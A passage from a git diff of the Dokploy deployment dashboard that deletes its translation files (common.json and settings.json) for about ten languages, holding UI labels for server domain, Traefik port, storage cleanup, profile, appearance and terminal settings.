"തീം", - "settings.appearance.themeDescription": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന് ഒരു തീം തിരഞ്ഞെടുക്കുക", - "settings.appearance.themes.light": "ലൈറ്റ്", - "settings.appearance.themes.dark": "ഡാർക്ക്", - "settings.appearance.themes.system": "സിസ്റ്റം", - "settings.appearance.language": "ഭാഷ", - "settings.appearance.languageDescription": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന് ഒരു ഭാഷ തിരഞ്ഞെടുക്കുക", - - "settings.terminal.connectionSettings": "കണക്ഷൻ ക്രമീകരണങ്ങൾ", - "settings.terminal.ipAddress": "IP വിലാസം", - "settings.terminal.port": "പോർട്ട്", - "settings.terminal.username": "ഉപയോക്തൃനാമം" -} diff --git a/apps/dokploy/public/locales/nl/common.json b/apps/dokploy/public/locales/nl/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/nl/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/nl/settings.json b/apps/dokploy/public/locales/nl/settings.json deleted file mode 100644 index c76d9bb9b..000000000 --- a/apps/dokploy/public/locales/nl/settings.json +++ /dev/null @@ -1,58 +0,0 @@ -{ - "settings.common.save": "Opslaan", - "settings.common.enterTerminal": "Terminal", - "settings.server.domain.title": "Server Domein", - "settings.server.domain.description": "Voeg een domein toe aan jouw server applicatie.", - "settings.server.domain.form.domain": "Domein", - "settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Email", - "settings.server.domain.form.certificate.label": "Certificaat Aanbieder", - "settings.server.domain.form.certificate.placeholder": "Select een certificaat", - "settings.server.domain.form.certificateOptions.none": "Geen", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt", - - "settings.server.webServer.title": "Web Server", - "settings.server.webServer.description": "Herlaad of maak de web server schoon.", - "settings.server.webServer.actions": "Acties", - "settings.server.webServer.reload": "Herladen", - "settings.server.webServer.watchLogs": "Bekijk Logs", - "settings.server.webServer.updateServerIp": "Update de Server IP", - "settings.server.webServer.server.label": "Server", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Bewerk Omgeving", - "settings.server.webServer.traefik.managePorts": "Extra Poort Mappings", - "settings.server.webServer.traefik.managePortsDescription": "Bewerk extra Poorten voor Traefik", - "settings.server.webServer.traefik.targetPort": "Doel Poort", - "settings.server.webServer.traefik.publishedPort": "Gepubliceerde Poort", - "settings.server.webServer.traefik.addPort": "Voeg Poort toe", - "settings.server.webServer.traefik.portsUpdated": "Poorten succesvol aangepast", - "settings.server.webServer.traefik.portsUpdateError": "Poorten niet succesvol aangepast", - "settings.server.webServer.traefik.publishMode": "Publiceer Mode", - "settings.server.webServer.storage.label": "Opslag", - "settings.server.webServer.storage.cleanUnusedImages": "Maak ongebruikte images schoon", - "settings.server.webServer.storage.cleanUnusedVolumes": "Maak ongebruikte volumes schoon", - "settings.server.webServer.storage.cleanStoppedContainers": "Maak gestopte containers schoon", - "settings.server.webServer.storage.cleanDockerBuilder": "Maak Docker Builder & Systeem schoon", - "settings.server.webServer.storage.cleanMonitoring": "Maak monitoor schoon", - "settings.server.webServer.storage.cleanAll": "Maak alles schoon", - - "settings.profile.title": "Account", - "settings.profile.description": "Veramder details van account.", - "settings.profile.email": "Email", - "settings.profile.password": "Wachtwoord", - "settings.profile.avatar": "Profiel Icoon", - - "settings.appearance.title": "Uiterlijk", - "settings.appearance.description": "Verander het thema van je dashboard.", - "settings.appearance.theme": "Thema", - "settings.appearance.themeDescription": "Selecteer een thema voor je dashboard.", - "settings.appearance.themes.light": "Licht", - "settings.appearance.themes.dark": "Donker", - "settings.appearance.themes.system": "Systeem", - "settings.appearance.language": "Taal", - "settings.appearance.languageDescription": "Selecteer een taal voor je dashboard.", - - "settings.terminal.connectionSettings": "Verbindings instellingen", - "settings.terminal.ipAddress": "IP Address", - "settings.terminal.port": "Poort", - "settings.terminal.username": "Gebruikersnaam" -} diff --git a/apps/dokploy/public/locales/no/common.json b/apps/dokploy/public/locales/no/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/no/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/no/settings.json b/apps/dokploy/public/locales/no/settings.json deleted file mode 100644 index 03c6bc4a1..000000000 --- a/apps/dokploy/public/locales/no/settings.json +++ /dev/null @@ -1,52 +0,0 @@ -{ - "settings.common.save": "Lagre", - "settings.server.domain.title": "Serverdomene", - "settings.server.domain.description": "Legg til et domene i serverapplikasjonen din.", - "settings.server.domain.form.domain": "Domene", - "settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Epost", - "settings.server.domain.form.certificate.label": "Sertifikatleverandør", - "settings.server.domain.form.certificate.placeholder": "Velg et sertifikat", - "settings.server.domain.form.certificateOptions.none": "Ingen", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt", - - "settings.server.webServer.title": "Webserver", - "settings.server.webServer.description": "Last på nytt eller rens webserveren.", - "settings.server.webServer.actions": "Handlinger", - "settings.server.webServer.reload": "Last på nytt", - "settings.server.webServer.watchLogs": "Se logger", - "settings.server.webServer.updateServerIp": "Oppdater server-IP", - "settings.server.webServer.server.label": "Server", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Endre miljø", - "settings.server.webServer.traefik.managePorts": "Ytterligere portkartlegginger", - "settings.server.webServer.traefik.managePortsDescription": "Legg til eller fjern flere porter for Traefik", - "settings.server.webServer.traefik.targetPort": "Målport", - "settings.server.webServer.traefik.publishedPort": "Publisert port", - "settings.server.webServer.traefik.addPort": "Legg til port", - "settings.server.webServer.traefik.portsUpdated": "Portene ble oppdatert", - "settings.server.webServer.traefik.portsUpdateError": "Kunne ikke oppdatere portene", - "settings.server.webServer.traefik.publishMode": "Publiseringsmodus", - "settings.server.webServer.storage.label": "Lagring", - "settings.server.webServer.storage.cleanUnusedImages": "Rens ubrukte bilder", - "settings.server.webServer.storage.cleanUnusedVolumes": "Rens ubrukte volumer", - "settings.server.webServer.storage.cleanStoppedContainers": "Rens stoppete containere", - "settings.server.webServer.storage.cleanDockerBuilder": "Rens Docker Builder og System", - "settings.server.webServer.storage.cleanMonitoring": "Rens overvåking", - "settings.server.webServer.storage.cleanAll": "Rens alt", - - "settings.profile.title": "Konto", - "settings.profile.description": "Endre detaljene for profilen din her.", - "settings.profile.email": "Epost", - "settings.profile.password": "Passord", - "settings.profile.avatar": "Avatar", - - "settings.appearance.title": "Utseende", - "settings.appearance.description": "Tilpass temaet for dashbordet ditt.", - "settings.appearance.theme": "Tema", - "settings.appearance.themeDescription": "Velg et tema for dashbordet ditt", - "settings.appearance.themes.light": "Lys", - "settings.appearance.themes.dark": "Mørk", - "settings.appearance.themes.system": "System", - "settings.appearance.language": "Språk", - "settings.appearance.languageDescription": "Velg et språk for dashbordet ditt" -} diff --git a/apps/dokploy/public/locales/pl/common.json b/apps/dokploy/public/locales/pl/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/pl/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/pl/settings.json b/apps/dokploy/public/locales/pl/settings.json deleted file mode 100644 index 9899fc13e..000000000 --- a/apps/dokploy/public/locales/pl/settings.json +++ /dev/null @@ -1,58 +0,0 @@ -{ - "settings.common.save": "Zapisz", - "settings.common.enterTerminal": "Otwórz terminal", - "settings.server.domain.title": "Domena", - "settings.server.domain.description": "Dodaj domenę do aplikacji", - "settings.server.domain.form.domain": "Domena", - "settings.server.domain.form.letsEncryptEmail": "Email Let's Encrypt", - "settings.server.domain.form.certificate.label": "Certyfikat", - "settings.server.domain.form.certificate.placeholder": "Wybierz certyfikat", - "settings.server.domain.form.certificateOptions.none": "Brak", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Domyślny)", - - "settings.server.webServer.title": "Serwer", - "settings.server.webServer.description": "Przeładuj lub wyczyść serwer", - "settings.server.webServer.actions": "Akcje", - "settings.server.webServer.reload": "Przeładuj", - "settings.server.webServer.watchLogs": "Obserwuj logi", - "settings.server.webServer.updateServerIp": "Zaktualizuj IP serwera", - "settings.server.webServer.server.label": "Serwer", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Zmodyfikuj środowisko", - "settings.server.webServer.traefik.managePorts": "Dodatkowe mapowania portów", - "settings.server.webServer.traefik.managePortsDescription": "Dodaj lub usuń dodatkowe porty dla Traefik", - "settings.server.webServer.traefik.targetPort": "Port docelowy", - "settings.server.webServer.traefik.publishedPort": "Port opublikowany", - "settings.server.webServer.traefik.addPort": "Dodaj port", - "settings.server.webServer.traefik.portsUpdated": "Porty zaktualizowane pomyślnie", - "settings.server.webServer.traefik.portsUpdateError": "Nie udało się zaktualizować portów", - "settings.server.webServer.traefik.publishMode": "Tryb publikacji", - "settings.server.webServer.storage.label": "Przestrzeń", - "settings.server.webServer.storage.cleanUnusedImages": "Wyczyść nieużywane obrazy", - "settings.server.webServer.storage.cleanUnusedVolumes": "Wyczyść nieużywane wolumeny", - "settings.server.webServer.storage.cleanStoppedContainers": "Wyczyść zatrzymane kontenery", - "settings.server.webServer.storage.cleanDockerBuilder": "Wyczyść Docker Builder i System", - "settings.server.webServer.storage.cleanMonitoring": "Wyczyść monitorowanie", - "settings.server.webServer.storage.cleanAll": "Wyczyść wszystko", - - "settings.profile.title": "Konto", - "settings.profile.description": "Zmień szczegóły swojego profilu", - "settings.profile.email": "Email", - "settings.profile.password": "Hasło", - "settings.profile.avatar": "Avatar", - - "settings.appearance.title": "Wygląd", - "settings.appearance.description": "Dostosuj motyw swojego pulpitu", - "settings.appearance.theme": "Motyw", - "settings.appearance.themeDescription": "Wybierz motyw swojego pulpitu", - "settings.appearance.themes.light": "Jasny", - "settings.appearance.themes.dark": "Ciemny", - "settings.appearance.themes.system": "System", - "settings.appearance.language": "Język", - "settings.appearance.languageDescription": "Wybierz język swojego pulpitu", - - "settings.terminal.connectionSettings": "Ustawienia połączenia", - "settings.terminal.ipAddress": "Adres IP", - "settings.terminal.port": "Port", - "settings.terminal.username": "Nazwa użytkownika" -} diff --git a/apps/dokploy/public/locales/pt-br/common.json b/apps/dokploy/public/locales/pt-br/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/pt-br/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/pt-br/settings.json b/apps/dokploy/public/locales/pt-br/settings.json deleted file mode 100644 index f4d90a2f8..000000000 --- a/apps/dokploy/public/locales/pt-br/settings.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "settings.common.save": "Salvar", - "settings.server.domain.title": "Domínio do Servidor", - "settings.server.domain.description": "Configure o domínio do servidor", - "settings.server.domain.form.domain": "Domínio", - "settings.server.domain.form.letsEncryptEmail": "Email do Let's Encrypt", - "settings.server.domain.form.certificate.label": "Certificado", - "settings.server.domain.form.certificate.placeholder": "Selecione um Certificado", - "settings.server.domain.form.certificateOptions.none": "Nenhum", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Padrão)", - - "settings.server.webServer.title": "Servidor web", - "settings.server.webServer.description": "Limpar e recarregar servidor web.", - "settings.server.webServer.actions": "Ações", - "settings.server.webServer.reload": "Recarregar", - "settings.server.webServer.watchLogs": "Ver logs", - "settings.server.webServer.updateServerIp": "Atualizar IP do Servidor", - "settings.server.webServer.server.label": "Servidor", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Alterar Env", - "settings.server.webServer.storage.label": "Armazenamento", - "settings.server.webServer.storage.cleanUnusedImages": "Limpar imagens não utilizadas", - "settings.server.webServer.storage.cleanUnusedVolumes": "Limpar volumes não utilizados", - "settings.server.webServer.storage.cleanStoppedContainers": "Limpar containers parados", - "settings.server.webServer.storage.cleanDockerBuilder": "Limpar Docker Builder & System", - "settings.server.webServer.storage.cleanMonitoring": "Limpar Monitoramento", - "settings.server.webServer.storage.cleanAll": "Limpar Tudo", - - "settings.profile.title": "Conta", - "settings.profile.description": "Altere os detalhes do seu perfil aqui.", - "settings.profile.email": "Email", - "settings.profile.password": "Senha", - "settings.profile.avatar": "Avatar", - - "settings.appearance.title": "Aparencia", - "settings.appearance.description": "Personalize o tema do seu dashboard.", - "settings.appearance.theme": "Tema", - "settings.appearance.themeDescription": "Selecione um tema para o dashboard", - "settings.appearance.themes.light": "Claro", - "settings.appearance.themes.dark": "Escuro", - "settings.appearance.themes.system": "Automático", - "settings.appearance.language": "Linguagem", - "settings.appearance.languageDescription": "Selecione o idioma do dashboard" -} diff --git a/apps/dokploy/public/locales/ru/common.json b/apps/dokploy/public/locales/ru/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/ru/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/ru/settings.json b/apps/dokploy/public/locales/ru/settings.json deleted file mode 100644 index 0d87ed159..000000000 --- a/apps/dokploy/public/locales/ru/settings.json +++ /dev/null @@ -1,58 +0,0 @@ -{ - "settings.common.save": "Сохранить", - "settings.common.enterTerminal": "Открыть терминал", - "settings.server.domain.title": "Домен сервера", - "settings.server.domain.description": "Установите домен для вашего серверного приложения Dokploy.", - "settings.server.domain.form.domain": "Домен", - "settings.server.domain.form.letsEncryptEmail": "Email для Let's Encrypt", - "settings.server.domain.form.certificate.label": "Сертификат", - "settings.server.domain.form.certificate.placeholder": "Выберите сертификат", - "settings.server.domain.form.certificateOptions.none": "Нет", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt", - - "settings.server.webServer.title": "Веб-сервер", - "settings.server.webServer.description": "Перезагрузка или очистка веб-сервера.", - "settings.server.webServer.actions": "Действия", - "settings.server.webServer.reload": "Перезагрузить", - "settings.server.webServer.watchLogs": "Просмотр логов", - "settings.server.webServer.updateServerIp": "Изменить IP адрес", - "settings.server.webServer.server.label": "Сервер", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Изменить переменные окружения", - "settings.server.webServer.traefik.managePorts": "Назначение портов", - "settings.server.webServer.traefik.managePortsDescription": "Добавить или удалить дополнительные порты для Traefik", - "settings.server.webServer.traefik.targetPort": "Внутренний порт", - "settings.server.webServer.traefik.publishedPort": "Внешний порт", - "settings.server.webServer.traefik.addPort": "Добавить порт", - "settings.server.webServer.traefik.portsUpdated": "Порты успешно обновлены", - "settings.server.webServer.traefik.portsUpdateError": "Не удалось обновить порты", - "settings.server.webServer.traefik.publishMode": "Режим сопоставления", - "settings.server.webServer.storage.label": "Дисковое пространство", - "settings.server.webServer.storage.cleanUnusedImages": "Очистить неиспользуемые образы", - "settings.server.webServer.storage.cleanUnusedVolumes": "Очистить неиспользуемые тома", - "settings.server.webServer.storage.cleanStoppedContainers": "Очистить остановленные контейнеры", - "settings.server.webServer.storage.cleanDockerBuilder": "Очистить Docker Builder и систему", - "settings.server.webServer.storage.cleanMonitoring": "Очистить мониторинг", - "settings.server.webServer.storage.cleanAll": "Очистить все", - - "settings.profile.title": "Аккаунт", - "settings.profile.description": "Измените данные вашего профиля.", - "settings.profile.email": "Email", - "settings.profile.password": "Пароль", - "settings.profile.avatar": "Аватар", - - "settings.appearance.title": "Внешний вид", - "settings.appearance.description": "Настройте тему Dokploy.", - "settings.appearance.theme": "Тема", - "settings.appearance.themeDescription": "Выберите тему системной панели", - "settings.appearance.themes.light": "Светлая", - "settings.appearance.themes.dark": "Темная", - "settings.appearance.themes.system": "Системная", - "settings.appearance.language": "Язык", - "settings.appearance.languageDescription": "Выберите язык для панели управления", - - "settings.terminal.connectionSettings": "Настройки подключения", - "settings.terminal.ipAddress": "IP адрес", - "settings.terminal.port": "Порт", - "settings.terminal.username": "Имя пользователя" -} diff --git a/apps/dokploy/public/locales/tr/common.json b/apps/dokploy/public/locales/tr/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/tr/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/tr/settings.json b/apps/dokploy/public/locales/tr/settings.json deleted file mode 100644 index 47a6629f5..000000000 --- a/apps/dokploy/public/locales/tr/settings.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "settings.common.save": "Kaydet", - "settings.server.domain.title": "Sunucu Alanı", - "settings.server.domain.description": "Sunucu uygulamanıza bir alan adı ekleyin.", - "settings.server.domain.form.domain": "Alan Adı", - "settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-postası", - "settings.server.domain.form.certificate.label": "Sertifika", - "settings.server.domain.form.certificate.placeholder": "Bir sertifika seçin", - "settings.server.domain.form.certificateOptions.none": "Hiçbiri", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Varsayılan)", - - "settings.server.webServer.title": "Web Sunucusu", - "settings.server.webServer.description": "Web sunucusunu yeniden yükleyin veya temizleyin.", - "settings.server.webServer.actions": "İşlemler", - "settings.server.webServer.reload": "Yeniden Yükle", - "settings.server.webServer.watchLogs": "Günlükleri İzle", - "settings.server.webServer.updateServerIp": "Sunucu IP'sini Güncelle", - "settings.server.webServer.server.label": "Sunucu", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Env Değiştir", - "settings.server.webServer.storage.label": "Alan", - "settings.server.webServer.storage.cleanUnusedImages": "Kullanılmayan görüntüleri temizle", - "settings.server.webServer.storage.cleanUnusedVolumes": "Kullanılmayan birimleri temizle", - "settings.server.webServer.storage.cleanStoppedContainers": "Durmuş konteynerleri temizle", - "settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder ve Sistemi Temizle", - "settings.server.webServer.storage.cleanMonitoring": "İzlemeyi Temizle", - "settings.server.webServer.storage.cleanAll": "Hepsini temizle", - - "settings.profile.title": "Hesap", - "settings.profile.description": "Profil detaylarınızı buradan değiştirebilirsiniz.", - "settings.profile.email": "E-posta", - "settings.profile.password": "Şifre", - "settings.profile.avatar": "Profil Resmi", - - "settings.appearance.title": "Görünüm", - "settings.appearance.description": "Kontrol panelinin temasını özelleştirin.", - "settings.appearance.theme": "Tema", - "settings.appearance.themeDescription": "Kontrol paneli için bir tema seçin", - "settings.appearance.themes.light": "Açık", - "settings.appearance.themes.dark": "Koyu", - "settings.appearance.themes.system": "Sistem", - "settings.appearance.language": "Dil", - "settings.appearance.languageDescription": "Kontrol paneli için bir dil seçin" -} diff --git a/apps/dokploy/public/locales/uk/common.json b/apps/dokploy/public/locales/uk/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/uk/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/uk/settings.json b/apps/dokploy/public/locales/uk/settings.json deleted file mode 100644 index 766a1bff9..000000000 --- a/apps/dokploy/public/locales/uk/settings.json +++ /dev/null @@ -1,58 +0,0 @@ -{ - "settings.common.save": "Зберегти", - "settings.common.enterTerminal": "Увійти в термінал", - "settings.server.domain.title": "Домен сервера", - "settings.server.domain.description": "Додайте домен до вашого серверного застосунку.", - "settings.server.domain.form.domain": "Домен", - "settings.server.domain.form.letsEncryptEmail": "Електронна пошта для Let's Encrypt", - "settings.server.domain.form.certificate.label": "Постачальник сертифікатів", - "settings.server.domain.form.certificate.placeholder": "Оберіть сертифікат", - "settings.server.domain.form.certificateOptions.none": "Відсутній", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt", - - "settings.server.webServer.title": "Веб-сервер", - "settings.server.webServer.description": "Перезавантажте або очистьте веб-сервер.", - "settings.server.webServer.actions": "Дії", - "settings.server.webServer.reload": "Перезавантажити", - "settings.server.webServer.watchLogs": "Перегляд логів", - "settings.server.webServer.updateServerIp": "Оновити IP-адресу сервера", - "settings.server.webServer.server.label": "Сервер", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Змінити середовище", - "settings.server.webServer.traefik.managePorts": "Додаткові порти", - "settings.server.webServer.traefik.managePortsDescription": "Додайте або видаліть порти для Traefik", - "settings.server.webServer.traefik.targetPort": "Цільовий порт", - "settings.server.webServer.traefik.publishedPort": "Опублікований порт", - "settings.server.webServer.traefik.addPort": "Додати порт", - "settings.server.webServer.traefik.portsUpdated": "Порти успішно оновлено", - "settings.server.webServer.traefik.portsUpdateError": "Не вдалося оновити порти", - "settings.server.webServer.traefik.publishMode": "Режим публікації", - "settings.server.webServer.storage.label": "Дисковий простір", - "settings.server.webServer.storage.cleanUnusedImages": "Очистити невикористані образи", - "settings.server.webServer.storage.cleanUnusedVolumes": "Очистити невикористані томи", - "settings.server.webServer.storage.cleanStoppedContainers": "Очистити зупинені контейнери", - "settings.server.webServer.storage.cleanDockerBuilder": "Очистити Docker Builder і систему", - "settings.server.webServer.storage.cleanMonitoring": "Очистити моніторинг", - "settings.server.webServer.storage.cleanAll": "Очистити все", - - "settings.profile.title": "Обліковий запис", - "settings.profile.description": "Змініть дані вашого профілю.", - "settings.profile.email": "Електронна пошта", - "settings.profile.password": "Пароль", - "settings.profile.avatar": "Аватар", - - "settings.appearance.title": "Зовнішній вигляд", - "settings.appearance.description": "Налаштуйте тему вашої панелі керування.", - "settings.appearance.theme": "Тема", - "settings.appearance.themeDescription": "Оберіть тему для вашої панелі керування", - "settings.appearance.themes.light": "Світла", - "settings.appearance.themes.dark": "Темна", - "settings.appearance.themes.system": "Системна", - "settings.appearance.language": "Мова", - "settings.appearance.languageDescription": "Оберіть мову для вашої панелі керування", - - "settings.terminal.connectionSettings": "Налаштування з'єднання", - "settings.terminal.ipAddress": "IP-адреса", - "settings.terminal.port": "Порт", - "settings.terminal.username": "Ім'я користувача" -} diff --git a/apps/dokploy/public/locales/zh-Hans/common.json b/apps/dokploy/public/locales/zh-Hans/common.json deleted file mode 100644 index 91af07ff2..000000000 --- a/apps/dokploy/public/locales/zh-Hans/common.json +++ /dev/null @@ -1,78 +0,0 @@ -{ - "dashboard.title": "仪表盘", - "dashboard.overview": "概览", - "dashboard.projects": "项目", - "dashboard.servers": "服务器", - "dashboard.docker": "Docker", - "dashboard.monitoring": "监控", - "dashboard.settings": "设置", - "dashboard.logout": "退出登录", - "dashboard.profile": "个人资料", - "dashboard.terminal": "终端", - "dashboard.containers": "容器", - "dashboard.images": "镜像", - "dashboard.volumes": "卷", - "dashboard.networks": "网络", - "button.create": "创建", - "button.edit": "编辑", - "button.delete": "删除", - "button.cancel": "取消", - "button.save": "保存", - "button.confirm": "确认", - "button.back": "返回", - "button.next": "下一步", - "button.finish": "完成", - "status.running": "运行中", - "status.stopped": "已停止", - "status.error": "错误", - "status.pending": "等待中", - "status.success": "成功", - "status.failed": "失败", - "form.required": "必填", - "form.invalid": "无效", - "form.submit": "提交", - "form.reset": "重置", - "notification.success": "操作成功", - "notification.error": "操作失败", - "notification.warning": "警告", - "notification.info": "信息", - "time.now": "刚刚", - "time.minutes": "分钟前", - "time.hours": "小时前", - "time.days": "天前", - "filter.all": "全部", - "filter.active": "活跃", - "filter.inactive": "不活跃", - "sort.asc": "升序", - "sort.desc": "降序", - "search.placeholder": "搜索...", - "search.noResults": "无结果", - "pagination.prev": "上一页", - "pagination.next": "下一页", - "pagination.of": "共 {0} 页", - "error.notFound": "未找到", - "error.serverError": "服务器错误", - "error.unauthorized": "未授权", - "error.forbidden": "禁止访问", - "loading": "加载中...", - "empty": "暂无数据", - "more": "更多", - "less": "收起", - "project.create": "创建项目", - "project.edit": "编辑项目", - "project.delete": "删除项目", - "project.name": "项目名称", - "project.description": "项目描述", - "service.create": "创建服务", - "service.edit": "编辑服务", - "service.delete": "删除服务", - "service.name": "服务名称", - "service.type": "服务类型", - "domain.add": "添加域名", - "domain.remove": "移除域名", - "environment.variables": "环境变量", - "environment.add": "添加环境变量", - "environment.edit": "编辑环境变量", - "environment.name": "变量名", - "environment.value": "变量值" -} diff --git a/apps/dokploy/public/locales/zh-Hans/settings.json b/apps/dokploy/public/locales/zh-Hans/settings.json deleted file mode 100644 index d70676d6a..000000000 --- a/apps/dokploy/public/locales/zh-Hans/settings.json +++ /dev/null @@ -1,67 +0,0 @@ -{ - "settings.common.save": "保存", - "settings.common.enterTerminal": "终端", - "settings.server.domain.title": "服务器域名", - "settings.server.domain.description": "为您的服务器应用添加域名。", - "settings.server.domain.form.domain": "域名", - "settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 邮箱", - "settings.server.domain.form.certificate.label": "证书提供商", - "settings.server.domain.form.certificate.placeholder": "选择证书", - "settings.server.domain.form.certificateOptions.none": "无", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt", - "settings.server.webServer.title": "Web 服务器", - "settings.server.webServer.description": "重载或清理 Web 服务器。", - "settings.server.webServer.actions": "操作", - "settings.server.webServer.reload": "重新加载", - "settings.server.webServer.watchLogs": "查看日志", - "settings.server.webServer.updateServerIp": "更新服务器 IP", - "settings.server.webServer.server.label": "服务器", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "修改环境变量", - "settings.server.webServer.traefik.managePorts": "额外端口映射", - "settings.server.webServer.traefik.managePortsDescription": "为 Traefik 添加或删除额外端口", - "settings.server.webServer.traefik.targetPort": "目标端口", - "settings.server.webServer.traefik.publishedPort": "发布端口", - "settings.server.webServer.traefik.addPort": "添加端口", - "settings.server.webServer.traefik.portsUpdated": "端口更新成功", - "settings.server.webServer.traefik.portsUpdateError": "端口更新失败", - "settings.server.webServer.traefik.publishMode": "发布模式", - "settings.server.webServer.storage.label": "存储空间", - "settings.server.webServer.storage.cleanUnusedImages": "清理未使用的镜像", - "settings.server.webServer.storage.cleanUnusedVolumes": "清理未使用的卷", - "settings.server.webServer.storage.cleanStoppedContainers": "清理已停止的容器", - "settings.server.webServer.storage.cleanDockerBuilder": "清理 Docker Builder 和系统", - "settings.server.webServer.storage.cleanMonitoring": "清理监控数据", - "settings.server.webServer.storage.cleanAll": "清理所有内容", - "settings.profile.title": "账户", - "settings.profile.description": "在此更改您的个人资料详情。", - "settings.profile.email": "邮箱", - "settings.profile.password": "密码", - "settings.profile.avatar": "头像", - "settings.appearance.title": "外观", - "settings.appearance.description": "自定义您的仪表盘主题。", - "settings.appearance.theme": "主题", - "settings.appearance.themeDescription": "为您的仪表盘选择主题", - "settings.appearance.themes.light": "明亮", - "settings.appearance.themes.dark": "暗黑", - "settings.appearance.themes.system": "跟随系统", - "settings.appearance.language": "语言", - "settings.appearance.languageDescription": "为您的仪表盘选择语言", - "settings.terminal.connectionSettings": "连接设置", - "settings.terminal.ipAddress": "IP 地址", - "settings.terminal.port": "端口", - "settings.terminal.username": "用户名", - "settings.settings": "设置", - "settings.general": "通用设置", - "settings.security": "安全", - "settings.users": "用户管理", - "settings.roles": "角色管理", - "settings.permissions": "权限", - "settings.api": "API设置", - "settings.certificates": "证书管理", - "settings.ssh": "SSH密钥", - "settings.backups": "备份", - "settings.logs": "日志", - "settings.updates": "更新", - "settings.network": "网络" -} diff --git a/apps/dokploy/public/locales/zh-Hant/common.json b/apps/dokploy/public/locales/zh-Hant/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/zh-Hant/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/zh-Hant/settings.json b/apps/dokploy/public/locales/zh-Hant/settings.json deleted file mode 100644 index 9d6900377..000000000 --- a/apps/dokploy/public/locales/zh-Hant/settings.json +++ /dev/null @@ -1,58 +0,0 @@ -{ - "settings.common.save": "儲存", - "settings.common.enterTerminal": "進入終端機", - "settings.server.domain.title": "網域設定", - "settings.server.domain.description": "新增網域至伺服器", - "settings.server.domain.form.domain": "網域", - "settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 信箱", - "settings.server.domain.form.certificate.label": "憑證", - "settings.server.domain.form.certificate.placeholder": "選擇一個憑證", - "settings.server.domain.form.certificateOptions.none": "無", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt", - - "settings.server.webServer.title": "伺服器設定", - "settings.server.webServer.description": "管理伺服器", - "settings.server.webServer.actions": "操作", - "settings.server.webServer.reload": "重新載入", - "settings.server.webServer.watchLogs": "查看日誌", - "settings.server.webServer.updateServerIp": "更新伺服器 IP", - "settings.server.webServer.server.label": "伺服器", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "修改環境變數", - "settings.server.webServer.traefik.managePorts": "埠轉發", - "settings.server.webServer.traefik.managePortsDescription": "新增或移除 Traefik 的其他埠", - "settings.server.webServer.traefik.targetPort": "目標埠", - "settings.server.webServer.traefik.publishedPort": "對外埠", - "settings.server.webServer.traefik.addPort": "新增埠", - "settings.server.webServer.traefik.portsUpdated": "埠更新成功", - "settings.server.webServer.traefik.portsUpdateError": "埠更新失敗", - "settings.server.webServer.traefik.publishMode": "埠對應模式", - "settings.server.webServer.storage.label": "儲存空間", - "settings.server.webServer.storage.cleanUnusedImages": "清理未使用的映像檔", - "settings.server.webServer.storage.cleanUnusedVolumes": "清理未使用的卷", - "settings.server.webServer.storage.cleanStoppedContainers": "清理已停止的容器", - "settings.server.webServer.storage.cleanDockerBuilder": "清理 Docker Builder 和系統快取", - "settings.server.webServer.storage.cleanMonitoring": "清理監控數據", - "settings.server.webServer.storage.cleanAll": "清理所有內容", - - "settings.profile.title": "帳戶", - "settings.profile.description": "更改您的個人資料", - "settings.profile.email": "信箱", - "settings.profile.password": "密碼", - "settings.profile.avatar": "頭像", - - "settings.appearance.title": "外觀", - "settings.appearance.description": "自訂面板主題", - "settings.appearance.theme": "主題", - 